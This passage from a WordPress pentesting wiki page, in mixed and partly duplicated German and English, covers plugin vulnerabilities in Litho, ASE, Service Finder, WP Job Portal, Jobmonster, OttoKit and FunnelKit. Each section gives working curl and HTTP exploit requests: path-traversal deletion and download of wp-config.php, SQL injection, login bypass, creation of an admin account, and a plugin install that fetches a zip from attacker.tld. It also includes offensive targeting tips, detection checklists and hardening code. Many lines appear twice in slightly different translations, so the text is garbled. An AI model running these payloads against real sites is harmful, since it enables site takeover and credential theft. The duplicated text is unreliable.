- WordPress core erwartet die `create_users` capability für diese Route; das Plugin-Hack umgeht dies, indem es den aktuellen Benutzerkontext direkt aus dem Header setzt.
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht capability-Prüfungen.
- WordPress core erwartet die `create_users`-capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
Erwartete Erfolgssignale
Expected success indicators
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
- Ein neuer Admin-Benutzer sichtbar in `wp-admin/users.php`.
Checkliste zur Erkennung
Detection checklist
- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']` oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Prüfe REST-Registrierungen auf privilegierte Callbacks, denen robuste `permission_callback`-Prüfungen fehlen und die stattdessen auf Request-Header vertrauen.
- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur anhand von Header-Werten geschützt sind.
- Grep nach `getallheaders()`, `$_SERVER['HTTP_...']`, oder vendor SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z.B. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten `permission_callback`-Prüfungen haben und stattdessen auf Request-Header vertrauen.
- Suche nach Verwendungen von Core-User-Management-Funktionen (`wp_insert_user`, `wp_create_user`) innerhalb von REST-Handlern, die nur durch Header-Werte abgesichert sind.
Absicherung
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
- Leite Authentifizierung oder Autorisierung niemals aus vom Client kontrollierten Headern ab.
- Wenn ein Reverse-Proxy Identität injizieren muss, beende das Vertrauen am Proxy und entferne eingehende Kopien (z. B. `unset X-Wcpay-Platform-Checkout-User` an der Peripherie), und übermittle stattdessen ein signiertes Token, das serverseitig verifiziert wird.
- Für REST-Routen, die privilegierte Aktionen ausführen, fordere `current_user_can()`-Prüfungen und ein striktes `permission_callback` (verwende NICHT `__return_true`).
- Bevorzuge First-Party-Auth (cookies, application passwords, OAuth) gegenüber Header-“impersonation”.
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
References: siehe die Links am Ende dieser Seite für einen öffentlichen Fall und eine breitere Analyse.
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
### Nicht authentifizierte beliebige Dateilöschung via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins exponieren häufig AJAX-Handler über die Hooks `wp_ajax_` und `wp_ajax_nopriv_`. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Callback für nicht authentifizierte Besucher erreichbar**, daher muss jede sensible Aktion zusätzlich implementieren:
1. Eine Berechtigungsprüfung (z. B. `current_user_can()` oder zumindest `is_user_logged_in()`), und
2. Einen CSRF-Nonce, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
3. Strikte Eingabe-Sanitisation / -Validierung.
Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der *Remove Font Family*-Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,60 +434,37 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Issues introduced by this snippet:
Probleme, die durch diesen Ausschnitt entstehen:
* **Nicht authentifizierter Zugriff** der Hook `wp_ajax_nopriv_` ist registriert.
* **Kein Nonce-/Capability-Check** jeder Besucher kann den Endpoint erreichen.
* **Keine Pfad-Sanitisation** der vom Benutzer kontrollierte String `fontfamily` wird ohne Filter an einen Dateisystempfad angehängt, was klassisches `../../`-Traversal ermöglicht.
* **Unauthenticated access** the `wp_ajax_nopriv_` hook is registered.
* **No nonce / capability check** jeder Besucher kann den Endpoint aufrufen.
* **No path sanitisation** der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filter an einen Dateisystempfad angehängt, wodurch klassisches `../../`-Traversal möglich ist.
#### Ausnutzung
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads-Basisverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) löschen, indem er eine einzelne HTTP POST-Anfrage sendet:
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des uploads base directory** (normalerweise `<wp-root>/wp-content/uploads/`) durch das Senden einer einzigen HTTP POST-Anfrage löschen:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Weil `wp-config.php` außerhalb von *uploads* liegt, reichen vier `../`-Sequenzen in einer Standardinstallation. Das Löschen von `wp-config.php` versetzt WordPress beim nächsten Besuch in den *Installationsassistenten*, wodurch eine vollständige Übernahme der Seite möglich wird (der Angreifer liefert lediglich eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
Da `wp-config.php` außerhalb von *uploads* liegt, reichen auf einer Standardinstallation vier `../`-Sequenzen aus. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten* und ermöglicht eine komplette Übernahme der Seite (der Angreifer liefert einfach eine neue DB-Konfiguration und erstellt einen Admin-Benutzer).
Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheitsplugins zu deaktivieren) oder `.htaccess`-Regeln.
Weitere wirkungsvolle Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu sabotieren) oder `.htaccess`-Regeln.
#### Erkennungs-Checkliste
#### Checkliste zur Erkennung
* Jede `add_action( 'wp_ajax_nopriv_...')`-Callback-Funktion, die Dateisystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, usw.) aufruft.
* Verkettung von unsanitisierten Benutzereingaben in Pfade (auf `$_POST`, `$_GET`, `$_REQUEST` achten).
* Jeder `add_action( 'wp_ajax_nopriv_...')` Callback, der Filesystem-Helper (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aufruft.
* Konkatenation unsanitisierten Nutzer-Inputs in Pfade (Achte auf `$_POST`, `$_GET`, `$_REQUEST`).
* Fehlen von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
#### Härtung
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Behandle** jede Schreib-/Löschoperation auf der Festplatte immer als privilegiert und überprüfe doppelt:
> • Authentifizierung • Autorisierung • Nonce • Eingabe-Sanitisation • Pfad-Einschlussprüfung (z. B. über `realpath()` plus `str_starts_with()`).
---
### Privilegieneskalation durch veraltete Rollwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role")
### Privilegieneskalation durch veraltete Rollenzurücksetzung und fehlende Autorisierung (ASE "View Admin as Role")
Viele Plugins implementieren eine "view as role" oder temporäre Rollentausch-Funktion, indem sie die ursprünglichen Rolle(n) in user meta speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungsweg nur auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer plugin-gepflegten Liste beruht, ohne capabilities und einen gültigen Nonce zu prüfen, wird dies zu einer vertikalen Privilegieneskalation.
Viele Plugins implementieren eine "view as role" oder temporäre Rollentausch-Funktion, indem sie die ursprünglichen Rolle(n) im user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungsweg ausschließlich auf Request-Parametern (z. B. `$_REQUEST['reset-for']`) und einer plugin-gepflegten Liste beruht, ohne capabilities und einen gültigen nonce zu prüfen, führt das zu einer vertikalen Privilegieneskalation.
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die aus user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden:
Ein reales Beispiel fand sich im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1). Der Reset-Zweig stellte Rollen anhand von `reset-for=<username>` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` auftauchte, führte jedoch weder eine `current_user_can()`-Prüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die in user meta `_asenha_view_admin_as_original_roles` gespeicherten Rollen wieder hinzugefügt wurden:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -515,15 +483,9 @@ Warum es ausnutzbar ist
- Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung.
- Wenn ein Benutzer zuvor höhere Privilegien in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft.
- In einigen Deployments konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlende Autorisierung).
- In einigen Deployments konnte jeder authentifizierte Benutzer ein Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (fehlerhafte Autorisierung).
Voraussetzungen für den Angriff
- Anfällige Plugin-Version mit aktivierter Funktion.
- Das Zielkonto hat eine veraltete hochprivilegierte Rolle in user meta gespeichert, aus früherer Nutzung.
- Beliebige authentifizierte Sitzung; fehlender nonce/capability im Reset-Flow.
Exploitation (example)
Exploitation (Beispiel)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -531,36 +493,23 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen wieder hinzu (z. B. `administrator`), wodurch effektiv Privilegien eskaliert werden.
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten “original roles” (z. B. `administrator`) wieder hinzu, wodurch effektiv privilege escalation erfolgt.
Detection checklist
- Suchen Sie nach Funktionen zum Rollenwechsel, die den Zustand "ursprüngliche Rollen" im user meta persistieren (z. B. `_asenha_view_admin_as_original_roles`).
- Identifizieren Sie Reset-/Restore-Pfade, die:
- Suchen Sie nach role-switching-Funktionen, die “original roles” im user meta speichern (z. B. `_asenha_view_admin_as_original_roles`).
- Identifizieren Sie Reset/Restore-Pfade, die:
- Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen.
- Rollen via `add_role()` / `remove_role()` ändern, ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` zu verwenden.
- Autorisieren basierend auf einem Plugin-Options-Array (z. B. `viewing_admin_as_role_are`) anstelle der Fähigkeiten des Akteurs.
Hardening
- Führen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig durch (z. B. `current_user_can('manage_options')` oder strenger).
- Fordern Sie Nonces für alle Rollen-/Berechtigungsänderungen an und verifizieren Sie diese: `check_admin_referer()` / `wp_verify_nonce()`.
- Vertrauen Sie niemals auf vom Request gelieferte Benutzernamen; ermitteln Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie.
- Ungültig machen des Zustands "ursprüngliche Rollen" bei Profil-/Rollen-Updates, um die Wiederherstellung veralteter hoher Privilegien zu vermeiden:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Ziehe in Betracht, nur minimalen Zustand zu speichern und zeitlich begrenzte, capability-geschützte Tokens für temporäre Rollenwechsel zu verwenden.
- Rollen über `add_role()` / `remove_role()` ändern, ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` zu verwenden.
- Auf Basis eines Plugin-Options-Arrays autorisieren (z. B. `viewing_admin_as_role_are`) statt anhand der capabilities des Akteurs.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
### Nicht authentifizierte privilege escalation via cookietrusted user-switching on public init (Service Finder “sf-booking”)
Einige Plugins hängen user-switching-Helfer an den öffentlichen `init`-Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und ein gültiges nonce zu überprüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige Benutzer-ID erzwingen.
Einige Plugins binden user-switching-Hilfsfunktionen an den öffentlichen `init` Hook und leiten die Identität aus einem vom Client kontrollierten Cookie ab. Ruft der Code `wp_set_auth_cookie()` auf, ohne Authentifizierung, capability und einen gültigen Nonce zu prüfen, kann jeder nicht authentifizierte Besucher eine Anmeldung als beliebige User-ID erzwingen.
Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
Typisches vulnerables Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.');
```
Warum es ausnutzbar ist
- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (keine `is_user_logged_in()`-Prüfung).
- Die Identität wird aus einem vom Client modifizierbaren Cookie abgeleitet (`original_user_id`).
- Direkter Aufruf von `wp_set_auth_cookie($uid)` loggt den Anfragenden als diesen Benutzer ein, ohne Capability- oder Nonce-Prüfungen.
- Öffentlicher `init` Hook macht den Handler für nicht authentifizierte Benutzer erreichbar (keine `is_user_logged_in()`-Abfrage).
- Die Identität wird aus einem vom Client änderbaren Cookie (`original_user_id`) abgeleitet.
- Direkter Aufruf von `wp_set_auth_cookie($uid)` meldet den Anfragenden als diesen Benutzer an, ohne Capability- oder Nonce-Prüfungen.
Ausnutzung (ohne Authentifizierung)
Exploitation (unauthenticated)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -607,18 +556,18 @@ Connection: close
### WAF-Überlegungen für WordPress/plugin CVEs
Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochwirksame WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik-/Authentifizierungsfehler, die wie harmloser Traffic aussehen, sofern die Engine die WordPress-Routen und die Semantik des Plugins nicht kennt.
Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochwirksame WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik- oder auth-Fehler, die wie harmloser Traffic aussehen, sofern die Engine WordPress-Routen und Plugin-Semantik nicht versteht.
Offensive Hinweise
- Plugin-spezifische Endpunkte mit sauberen payloads anvisieren: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Zuerst nicht-authentifizierte Pfade testen (AJAX `nopriv`, REST mit permissiver `permission_callback`, public shortcodes). Default payloads funktionieren oft ohne Obfuskation.
- Typische hochkritische Fälle: Privilegieneskalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Ziele plugin-spezifische Endpunkte mit sauberen Payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Teste zuerst unauth-Pfade (AJAX `nopriv`, REST mit permissivem `permission_callback`, öffentliche shortcodes). Standard-Payloads funktionieren oft ohne Verschleierung.
- Typische hochwirksame Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive Hinweise
- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz vor plugin CVEs. Implementiere anwendungsschichtige, verwundbarkeitsspezifische virtuelle Patches oder aktualisiere schnell.
- Bevorzuge Positive-Security-Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) gegenüber negativen Regex-Filtern.
- Verlasse dich nicht auf generische WAF-Signaturen zum Schutz von plugin-CVEs. Implementiere application-layer, vulnerability-specific virtual patches oder aktualisiere schnell.
- Bevorzuge positive-security-Prüfungen im Code (capabilities, nonces, strikte Eingabevalidierung) gegenüber negativen Regex-Filtern.
## WordPress-Schutz
@ -630,9 +579,9 @@ define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Außerdem: **Installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
Außerdem **installiere nur vertrauenswürdige WordPress-Plugins und -Themes**.
### Sicherheits-Plugins
### Security Plugins
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
@ -640,16 +589,16 @@ Außerdem: **Installieren Sie nur vertrauenswürdige WordPress-Plugins und -Them
### **Weitere Empfehlungen**
- Entfernen Sie den Standardbenutzer **admin**
- Verwenden Sie **starke Passwörter** und **2FA**
- Überprüfen Sie periodisch die **Berechtigungen** der Benutzer
- Begrenzen Sie Login-Versuche, um Brute Force attacks zu verhindern
- Benennen Sie die Datei **`wp-admin.php`** um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.
- Entferne den Standard-**admin**-Benutzer
- Verwende **starke Passwörter** und **2FA**
- Überprüfe regelmäßig die **Berechtigungen** der Benutzer
- **Begrenze Anmeldeversuche**, um Brute Force-Angriffe zu verhindern
- Benenne die Datei **`wp-admin.php`** um und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
### Nicht authentifizierte SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
### Nicht authentifizierte SQL Injection aufgrund unzureichender Validierung (WP Job Portal <= 2.3.2)
Das WP Job Portal recruitment plugin stellte eine **savecategory**-Aufgabe bereit, die letztendlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
Das WP Job Portal Recruitment-Plugin hat eine **savecategory**-Aufgabe offengelegt, die letztlich den folgenden verwundbaren Code in `modules/category/model.php::validateFormData()` ausführt:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,11 +608,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Issues introduced by this snippet:
Durch diesen Codeausschnitt verursachte Probleme:
1. **Unbereinigte Benutzereingabe** `parentid` stammt direkt aus der HTTP-Anfrage.
1. **Ungefilterte Benutzereingabe** `parentid` kommt direkt aus der HTTP-Anfrage.
2. **String-Konkatenation innerhalb der WHERE-Klausel** keine `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthentifizierte Zugänglichkeit** obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode `[wpjobportal_my_resumes]` abrufen kann.
3. **Nicht authentifizierte Erreichbarkeit** obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige vorhandene Prüfung ein **CSRF nonce** (`wp_verify_nonce()`), das jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet.
#### Ausnutzung
@ -671,7 +620,7 @@ Issues introduced by this snippet:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Beliebiges SQL injizieren, indem `parentid` missbraucht wird:
2. Arbiträres SQL injizieren, indem `parentid` missbraucht wird:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank und bestätigt damit SQLi.
Die Antwort offenbart das Ergebnis der injizierten Abfrage oder verändert die Datenbank, was die SQLi beweist.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Eine andere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, **beliebige Datei auf dem Dateisystem** mittels path traversal herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
Eine weitere Aufgabe, **downloadcustomfile**, erlaubte Besuchern, beliebige Dateien auf der Festplatte via path traversal herunterzuladen. Die verwundbare Stelle befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` ist vom Angreifer kontrolliert und wird **ohne Bereinigung** verkettet. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der resume-Seite abgerufen werden kann.
`$file_name` wird vom Angreifer kontrolliert und ohne Bereinigung zusammengefügt. Wieder ist das einzige Hindernis ein **CSRF nonce**, das von der Resume-Seite abgerufen werden kann.
#### Exploitation
```bash
@ -703,6 +652,197 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials und auth keys.
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Viele themes/plugins enthalten "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine unauthenticated AJAX action (wp_ajax_nopriv_...) den vom Client gelieferten Identifier vertraut, weil provider data fehlt, und anschließend wp_set_auth_cookie() aufruft, führt das zu einem vollständigen authentication bypass.
Typisches fehlerhaftes Muster (vereinfacht)
```php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Warum es ausnutzbar ist
- Nicht authentifiziert erreichbar über admin-ajax.php (wp_ajax_nopriv_… action).
- Keine nonce/capability-Checks vor einer Zustandsänderung.
- Fehlende OAuth/OpenID-Provider-Verifizierung; der Standardzweig akzeptiert Eingaben des Angreifers.
- get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anforderer als jede existierende E-Mail-Adresse.
Ausnutzung (nicht authentifiziert)
- Voraussetzungen: Der Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail-Adresse.
- Setze provider auf einen nicht unterstützten Wert (oder lasse ihn weg), um den Standardzweig zu erreichen und id=<victim_email> zu übergeben.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
```
```bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Expected success indicators
- HTTP 200 mit einem JSON-Body wie {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* für den betroffenen Benutzer; nachfolgende Anfragen sind authentifiziert.
Finding the action name
- Untersuche das Theme/Plugin nach add_action('wp_ajax_nopriv_...', '...') Registrierungen im Social-Login-Code (z. B. framework/add-ons/social-login/class-social-login.php).
- Grep nach wp_set_auth_cookie(), get_user_by('email', ...) innerhalb von AJAX-Handlern.
Detection checklist
- Weblogs, die unauthentifizierte POSTs an /wp-admin/admin-ajax.php mit der social-login Action und id=<email> zeigen.
- 200-Antworten mit dem success-JSON unmittelbar vor authentifiziertem Traffic von derselben IP/User-Agent.
Hardening
- Leite Identität nicht aus Client-Eingaben ab. Akzeptiere nur E-Mails/IDs, die aus einem validierten Provider-Token/ID stammen.
- Erfordere CSRF-Nonces und capability-Checks auch für Login-Hilfen; vermeide das Registrieren von wp_ajax_nopriv_ außer wenn unbedingt notwendig.
- Validiere und verifiziere OAuth/OIDC-Antworten serverseitig; lehne fehlende/ungültige Provider ab (kein Fallback auf POST id).
- Erwäge, Social Login vorübergehend zu deaktivieren oder am Edge virtuell zu patchen (die verwundbare Action blockieren), bis ein Fix vorhanden ist.
Patched behaviour (Jobmonster 4.8.0)
- Den unsicheren Fallback von $_POST['id'] entfernt; $user_email muss aus verifizierten Provider-Branches in switch($_POST['using']) stammen.
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Einige Plugins stellen REST-Endpunkte bereit, die wiederverwendbare „connection keys“ oder Tokens erzeugen, ohne die Fähigkeiten des Anrufers zu überprüfen. Wenn die Route nur anhand eines erratbaren Attributs (z. B. username) authentifiziert und den Key nicht mit einem Benutzer/Session mittels capability-Checks verknüpft, kann jeder nicht authentifizierte Angreifer einen Key erstellen und privilegierte Aktionen ausführen (Admin-Account-Erstellung, Plugin-Aktionen → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC mint a connection key and use it
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Warum es ausnutzbar ist
- Sensible REST-Route, die nur durch einen gering entropischen Identitätsnachweis (username) geschützt ist oder permission_callback fehlt
- Keine capability enforcement; minted key wird als universeller Bypass akzeptiert
Erkennungs-Checkliste
- Grep den Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Jede Route, die Tokens/Keys basierend auf einer request-supplied Identität (username/email) ausstellt, ohne sie an einen authentifizierten Benutzer oder an eine capability zu binden
- Suche nach nachgelagerten Routen, die den minted token/key ohne serverseitige capability-Prüfungen akzeptieren
Härtung
- Für jede privilegierte REST-Route: permission_callback verlangen, das current_user_can() für die benötigte capability erzwingt
- Erzeuge keine long-lived keys aus client-supplied identity; falls nötig, gib kurzlebige, an den Nutzer gebundene Tokens nach Authentifizierung aus und prüfe beim Gebrauch die capabilities erneut
- Validiere den User-Kontext des Aufrufers (wp_set_current_user ist nicht ausreichend allein) und lehne Requests ab, bei denen !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces verhindern CSRF, nicht Autorisierung. Wenn Code ein erfolgreiches Nonce-Pass als Freigabe behandelt und dann capability checks für privilegierte Operationen (z.B. install/activate plugins) überspringt, können nicht-authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und RCE erreichen, indem sie ein backdoored oder verwundbares Plugin installieren.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (Form hängt vom Plugin ab; nur illustrativ)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
---
## Nicht authentifizierte SQLi über den Parameter s (search) in depicter-* actions (Depicter Slider ≤ 3.6.1)
